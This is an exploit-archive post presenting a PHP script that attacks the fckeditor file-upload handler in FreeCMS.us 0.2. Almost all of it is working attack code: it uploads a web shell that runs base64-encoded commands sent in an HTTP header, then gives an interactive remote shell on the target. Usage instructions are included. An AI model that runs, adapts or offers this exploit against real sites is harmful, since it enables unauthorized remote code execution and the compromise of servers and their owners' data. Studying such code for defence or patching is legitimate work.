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freecms-upload.txt

Posted on 18 June 2008

<?php
/*
--------------------------------------------------------------
FreeCMS.us 0.2 (fckeditor) Arbitrary File Upload Exploit
--------------------------------------------------------------
By : Stack
Special thnx for : Egix
[-] vulnerable code in /[path]/admin/fckeditor/editor/filemanager/upload/php/upload.php

with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious PHP code
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "
[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}
print "
+------------------------------------------------------------+";
print "
|File Upload Exploit by Stack |";
print "
+------------------------------------------------------------+
";
if ($argc < 2)
{
print "
Usage......: php $argv[0] host path";
print "
Example....: php $argv[0] localhost /booking_calendar/
";
die();
}
$host = $argv[1];
$path = $argv[2];
$data  = "--12345
";
$data .= "Content-Disposition: form-data; name="NewFile"; filename="s.php.he.ll"
";
$data .= "Content-Type: application/octet-stream

";
$data .= "<?php ${print(_code_)}.${passthru(base64_decode($_SERVER[HTTP_CMD]))}.${print(_code_)} ?>
";
$data .= "--12345--
";
$packet  = "POST {$path}/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Content-Length: ".strlen($data)."
";
$packet .= "Content-Type: multipart/form-data; boundary=12345
";
$packet .= "Connection: close

";
$packet .= $data;
preg_match("/OnUploadCompleted((.*),"(.*)","(.*)",/i", http_send($host, $packet), $html);
if (!in_array(intval($html[1]), array(0, 201))) die("
[-] Upload failed! (Error {$html[1]})
");
else print "
[-] Shell uploaded to {$html[2]}...starting it!
";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
print "
stack-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}datacenter/media/{$html[3]} HTTP/1.0
";
$packet.= "Host: {$host}
";
$packet.= "Cmd: ".base64_encode($cmd)."
";
$packet.= "Connection: close

";
$output = http_send($host, $packet);
if (eregi("print", $output) || !eregi("_code_", $output)) die("
[-] Exploit failed...
");
$shell = explode("_code_", $output);
print "
{$shell[1]}";
}
else break;
}
?>

 

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